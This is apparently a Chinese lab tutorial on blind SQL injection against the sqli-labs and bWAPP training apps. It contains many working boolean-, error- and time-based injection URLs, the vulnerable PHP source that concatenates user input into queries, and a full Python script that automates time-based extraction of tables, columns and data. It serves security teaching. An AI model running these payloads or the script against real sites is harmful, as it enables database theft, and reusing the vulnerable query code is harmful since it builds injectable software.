摘要

SQL盲注

一:定义

sql盲注就是在sql注入过程中, sql语句执行的选择后,选择的数据不能回显到前端页面,那我们可以通过什么样的方式来获得我们需要的数据呢?通过本实验的学习,掌握SQL盲注的基本方法、常用函数以及测试流程

1)SQL盲注介绍

  盲注就是在sql注入过程中, sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注分为三种类型:基于布尔的SQL盲注、基于时间的SQL盲注、基于报错的SQL盲注。

2) 关于SQL基础语句

  增:insert into tableName(columnName1,columnName2) values(value1,value2)

  删:delete from tableName where …

  改:update tableName set columnName=value where …

  查:select * from tableName where …

3) Information_schema数据库基本表说明:

  schemata表:提供了当前mysql实例中所有的数据库信息,show databases的结果就是从该表得出。具体表可通过phpstudy中MySQL管理器查看。

  tables表:提供了关于数据库中的所有表的信息,即表属于哪个schema,表的创建时间、表的类型等,show tables fromschemaName的结果就是从该表得出。

  columns表:提供表中所有列信息,即表明了表中所有列及每列的信息,show columns from schemaName.tableName的结果就是从该表得出。

phpstudy介绍: phpStudy是一个PHP调试环境的程序集成包。该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境。

二:实验一

任务描述: 突破lesson-5的实验,基于布尔型的SQL盲注,按照表->列->值的顺序,最后查看后台源代码。

根据提示加入id参数在url中,可以看到他不再像前面报错注入一样回显有效信息,而是一段you are in…的字符串。如果输入正确提示you are in…输入错误则会报错。同样我们加入单引号,可以看到报错了,报错信息中提示我们输入的id参数使用单引号闭合,我们后面加入注释符即可注释掉原本后面的SQL语句。

接着我们可以根据他是否报错来判断我们需查询的语句是否正确。http://localhost/sqli-labs-master/Less-5/?id=1'and left(version(),1)=5–+可以看到数据库版本是大于等于5.0的。

可以利用ascii及substr函数来判断substr所截取的字符串的ascii码值为多少,得出当前的字母,可以利用二分法快一点,同时也可直接利用burpsuite来爆破出当前值,当然也可以写脚本自己跑出来。http://localhost/sqli-labs-master/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100–+这里limit 0,1意味着取第一张表,如果我们想爆破第二张表即可使用limit 1,1 同时这里使用substr(str,start,length)函数截取的是字符串的第一个字符,若想截取第二个字符即可使用substr(str,2,1)依此类推。当我们取到第三张表,对其进行爆破时我们发现它的表名为users。

这时我们可以利用regexp正则匹配来获取users表中的列名。http://localhost/sqli-labs-master/Less-5/?id=1‘ and 1=(select 1 from information_schema.columns where table_name=’users’ and column_name regexp ‘^us[a-z]’ limit 0,1)–+将正则匹配到最后时即’^username’正确,即得到列名。也可尝试’^password’发现同样返回正确。如果想确定就是这个列名可使用’^username$’。

爆出列名之后,我们可以开始尝试试试对应列的值,这儿又使用其他的函数ord(),mid(),IFNULL(),CAST(),其中ord函数相当于ascii函数,求得最左边字符的ascii码;mid函数相当于substr函数,截取一段字符;IFNULL(a,b)函数是来判断,若a为空则返回b,若a不为空则返回a;CAST(str AS int)将字符串转换为目标数据类型,我们可以这样构造URL:http://localhost/sqli-labs-master/Less-5/?id=1‘ and ord(mid((select ifnull(cast(username as char),0x20) from users order by id limit 0,1),1,1))=68–+

也可在burpsuite中爆破,这儿给出变量设置及最后结果展示图:

查对应的ascii表可得出第一个username为Dumb。剩下的也一样了。

切换到代码中来分析漏洞产生的原因:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}

可以看到在源代码中没有做任何防护,我们可以在构建SQL语句时闭合前面单引号,注释掉后面的内容。同时看到第33行查询到数据之后,不像之前展示出来,而是输出一段字符串you are in…

三:实验二

任务描述: 突破lesson-6的实验,基于报错型及时间型的SQL盲注,按照表->列->值的顺序。最后查看后台源代码。

1.打开lesson-6,加入参数id,同时加入双引号,可通过查看报错情况得知SQL语句使用双引号闭合。不加入双引号时正常显示。

接下来可以按照实验任务一中的步骤进行爆值,这儿避免重复用报错注入及延时注入的方式。

2.首先报错注入,这里会列举floor()、extractvalue()、updatexml()、NAME_CONST()四种函数进行演示。这次使用floor函数, http://localhost/sqli-labs-master/Less-6/?id=1“ and (select 1 from (select count(*),(concat(database(),0x7e,floor(rand(0)**2)))x from information_schema.tables group by x)a)–+

FLOOR() 函数是SQL中的一个数学函数,用于将一个数值向下取整为最接近的较小整数。这个函数通常用于操作数值数据,特别是浮点数。

*(concat(database(),0x7e,floor(rand(0)2)))x

  1. database()​ 函数用于获取当前数据库的名称。
  2. 0x7e​ 表示字符波浪符号 ~​ 的ASCII码。
  3. floor(rand(0)*2)​ 生成一个0到1*2之间的随机数,然后将其向下取整,结果为0或1。

然后,这些值被连接在一起,构成一个字符串,表示为 (数据库名~随机数)​。最后的 x​ 是为了给这个构造的字符串取一个列名。

3.还可以使用上一节中的extractvalue函数,http://localhost/sqli-labs-master/Less-6/?id=1“ and extractvalue(1,concat(0x7e,(select@@version),0x7e))–+

它试图通过 MySQL 的 EXTRACTVALUE() 函数从一个虚构的 XML 文档中提取版本信息。

EXTRACTVALUE() 函数是MySQL数据库中的一个函数,用于从一个XML文档中提取指定路径的值。但是需要注意的是,这个函数在某些情况下可能存在安全风险,因为它可以被用于进行XML注入攻击。

4.同样updatexml函数也可以,http://localhost/sqli-labs-master/Less-6/?id=1“ and updatexml(1,concat(0x7e,(select@@version),0x7e),1)–+

5.利用数据重复报错也可以,使用NAME_CONST函数。http://localhost/sqli-labs-master/Less-6/?id=1“ and (select 1 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)–+

NAME_CONST 是 MySQL 数据库中的一个函数,用于创建一个具有指定名称和值的参数。它通常用于在 SQL 查询中使用命名参数,从而使查询更加清晰和易于理解。

6.报错注入举了前面的例子,当然还有很多,等你去发现。下面可以尝试延时注入,延时注入可以使用sleep函数,以及benchmark函数,首先看一下sleep函数,可以使用http://localhost/sqli-labs-master/Less-6/?id=1“ and if(mid(user(),1,1) like ‘l’,sleep(5),1)–+

7.接下来可以试试benchmark函数,http://localhost/sqli-labs-master/Less-6/?id=1“ union select (if(substring(db,1,1)=char(115),benchmark(10000000,sha(1)),null)),2,3 from (select database() as db) as a–+

8.切换到代码中来分析漏洞产生的原因:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="3" color= "#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}

同样没有做任何过滤,可以看到id用双引号包起来之后,传入SQL查询语句,36行代码处也只显示you are in…字符串。

四:实验三

任务描述: 突破lesson-8的实验,基于布尔型、延时型的SQL盲注,按照表->列->值的顺序。最后查看后台源代码。

  1. 打开lesson-8,加入参数id,正常显示:http://localhost/sqli-labs-master/Less-8/?id=1而当加入单引号时,出现错误,却没有提示错误的地方。

  2. 那么我们除了不能使用报错注入之外,其余的延时注入、布尔型注入同样都是可以使用的。http://localhost/sqli-labs-master/Less-8/?id=1‘ and left(version(),1)=5–+

  3. 接下来的步骤和前面任务一、二的步骤就一样了,这里不再赘述。

  4. 我们去代码层查看源代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

    if($row)
    {
    echo '<font size="5" color="#FFFF00">';
    echo 'You are in...........';
    echo "<br>";
    echo "</font>";
    }
    else
    {

    echo '<font size="5" color="#FFFF00">';
    //echo 'You are in...........';
    //print_r(mysql_error());
    //echo "You have an error in your SQL syntax";
    echo "</br></font>";
    echo '<font color= "#0000ff" font size= 3>';

    }

    可以看到44、45、46行报错的信息被注释掉了。同样在SQL查询语句中没有做任何防护,除了报错注入不能使用,他不会返回错误信息之外,基于布尔值的注入,基于时间的注入都能使用。

五:实验四

任务描述: 突破lesson-9的实验,基于延时型的SQL盲注,按照表->列->值的顺序。查看后台源代码

1.打开lesson-9,加入参数id,正常显示:http://localhost/sqli-labs-master/Less-9/?id=1而当加入单引号时,也没有任何不同。

2.我们可以看到它的源代码中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}

无论是否出错都会显示出you are in…故我们也不能通过基于布尔型的盲注,通过语句构建正确错误时页面的不同展示来判断了,只能使用最后一招延时注入。

这个延迟注入我的相应都是两秒,不知道为啥,那倒是sql语句输入错了?

3.延时注入,首先猜测表名:http://localhost/sqli-labs-master/Less-9/?id=1‘ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117,1,sleep(5))–+ 得到第三张表的表名第一个字符为u,此处报错才延时5秒,若猜对直接返回。

第二个字符:http://localhost/sqli-labs-master/Less-9/?id=1‘ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1))=115,1,sleep(5))–+ 得到第三张表的表名第二个字符为s

依次往下走,可以得出第三张表的表名为users。

4.得到表名之后猜取列名。http://localhost/sqli-labs-master/Less-9/?id=1‘ and if(ascii(substr((select column_name from information_schema.columns where table_name=’users’ and table_schema=database() limit 0,1),1,1))=105,1,sleep(5))–+ 得到users表中第一列的列名的第一个字符为i

依次往下,可得出列名为id,username,password。

5.得到列名之后可以猜取字段值。http://localhost/sqli-labs-master/Less-9/?id=1‘ and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))–+ 得到用户名的第一个字符为D

六:实验五

1.任务描述: 突破lesson-10的实验,基于延时型的SQL盲注,按照表->列->值的顺序。查看后台源代码。

1.打开lesson-10,加入参数id:http://localhost/sqli-labs-master/Less-10/?id=1加入单双引号也没有任何不同。

2.可以来到代码层查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}

7.脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
# coding:utf-8
import requests
import time
# IP 地址对应修改
ip_port = "192.168.149.136:88"
data = {
"login": "bee",
"password": "bug",
"security_level": "0",
"form": "submit"
}

urlLogin = "http://%s/login.php" % ip_port
# 创建一个会话
session = requests.session()
# 发送登录请求
resp = session.post(urlLogin, data)
num = 0
# 检查是否成功登录
if resp.status_code == 200:
print("登录成功")
else:
print("登录失败,状态码:", resp.status_code)


# 获取数据库名长度
def get_length_of_database():
i = 1
while True:
url = "http://%s/sqli_15.php?title=World War Z' and length(database())=%d and sleep(1) -- &action=search" % (
ip_port, i)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
return i
i = i + 1


# 获取数据库名字
def get_name_of_database():
# 获取数据库名长度
length_of_database = get_length_of_database()
name_of_database = ""
for j in range(1, length_of_database):
for k in range(33, 128):
url = "http://%s/sqli_15.php?title=World War Z' and ascii(substr(database(),%d,1))=%d and sleep(1) -- &action=search" % (
ip_port, j, k)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
name_of_database += chr(k)
break
return name_of_database


# 获取指定库中表的数量
def get_count_of_tables():
i = 1
while True:
url = "http://%s/sqli_15.php?title=World War Z' and (select count(*) from information_schema.tables where table_schema=database())=%d and sleep(1) -- &action=search" % (
ip_port, i)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
return i
i = i + 1


# 获取指定库所有表的表名长度的列表
def get_length_list_of_tables():
# 获取指定库中表的数量
count_of_tables = get_count_of_tables()
length_list = []
for i in range(0, count_of_tables):
j = 1
while True:
url = "http://%s/sqli_15.php?title=World War Z' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d and sleep(1) -- &action=search" % (
ip_port, i, j)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
length_list.append(j)
break
j = j + 1
return length_list


# 获取指定库中的所有表名列表
def get_tables():
# 获取指定库中表的数量
count_of_tables = get_count_of_tables()
# 获取指定库所有表的表名长度的列表
length_list = get_length_list_of_tables()
name_of_tables = []
for i in range(0, count_of_tables):
name = ""
for j in range(0, length_list[i]):
for k in range(33, 128):
url = "http://%s/sqli_15.php?title=World War Z' and (select ascii(substr((table_name),%d,1)) from information_schema.tables where table_schema=database() limit %d,1)=%d and sleep(1) -- &action=search" % (
ip_port, j + 1, i, k)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
name += chr(k)
break
name_of_tables.append(name)
return name_of_tables


# 获取指定表中列的数量
def get_count_of_columns(name_of_table):
i = 1
while True:
url = "http://%s/sqli_15.php?title=World War Z' and (select count(*) from information_schema.columns where table_schema=database() and table_name=\"%s\")=%d and sleep(1) -- &action=search" % (
ip_port, name_of_table, i)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
return i
i += 1


# 获取指定表所有列的列名长度
def get_length_list_of_columns(name_of_table):
count_of_columns = get_count_of_columns(name_of_table)
length_list = []
for i in range(0, count_of_columns):
j = 1
while True:
url = "http://%s/sqli_15.php?title=World War Z' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name=\"%s\" limit %d,1)=%d and sleep(1) -- &action=search" % (
ip_port, name_of_table, i, j)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
length_list.append(j)
break
j = j + 1
return length_list


# 获取指定表的所有列的列名
def get_columns(name_of_table):
count_of_columns = get_count_of_columns(name_of_table)
length_list = get_length_list_of_columns(name_of_table)
columns = []
for i in range(0, count_of_columns):
name = ""
for j in range(0, length_list[i]):
for k in range(33, 128):
url = "http://%s/sqli_15.php?title=World War Z' and (select ascii(substr((column_name),%d,1)) from information_schema.columns where table_schema=database() and table_name=\"%s\" limit %d,1)=%d and sleep(1) -- &action=search" % (
ip_port, j + 1, name_of_table, i, k)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
name += chr(k)
break
columns.append(name)
return columns


# 获取指定表指定列名数据个数
def get_count_of_datas(name_of_table, name_of_column):
i = 1
while True:
url = "http://%s/sqli_15.php?title=World War Z' and (select count(%s) from %s)=%d and sleep(1) -- &action=search" % (
ip_port, name_of_column, name_of_table, i)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
return i
i += 1


# 获取指定表指定列名数据长度列表
def get_length_list_of_datas(name_of_table, name_of_column):
count_of_datas = get_count_of_datas(name_of_table, name_of_column)
length_list = []
for i in range(0, count_of_datas):
j = 1
while True:
url = "http://%s/sqli_15.php?title=World War Z' and (select length(%s) from %s limit %d,1)=%d and sleep(1) -- &action=search" % (
ip_port, name_of_column, name_of_table, i, j)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
length_list.append(j)
break
j += 1
return length_list


# 爆破数据
def get_datas(name_of_table, name_of_column):
count_of_datas = get_count_of_datas(name_of_table, name_of_column)
length_list = get_length_list_of_datas(name_of_table, name_of_column)
datas = []
for i in range(count_of_datas):
data = ""
for j in range(length_list[i]):
for k in range(33, 128):
url = "http://%s/sqli_15.php?title=World War Z' and (select ascii(substr((%s),%d,1)) from %s limit %d,1)=%d and sleep(1) -- &action=search" % (
ip_port, name_of_column, j + 1, name_of_table, i, k)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
data += chr(k)
break
datas.append(data)
return datas


def main():
print("Judging the database...")
print()
print("Getting the table name...")
tables = get_tables()
for i in tables:
print("[+]%s" % (i))
print("The table names in this database are:%s" % (tables))
table = input("Select the Table name:")
if table not in tables:
print("Error!")
exit()
print()
print("Getting the column names in the %s table......" % (table))
columns = get_columns(table)
for i in columns:
print("[+]%s" % (i))
while True:
print("The column name in %s are:%s" % (table, columns))
column = input("Select the Column name:")
if column not in columns:
print("Error!")
exit()
print()
print("Getting the datas......")
datas = get_datas(table, column)
for i in datas:
print("[+]%s" % (i))
choice = input("是否结束?Y/N")
if choice == 'Y' or choice =='y':
break

if __name__ == '__main__':
main()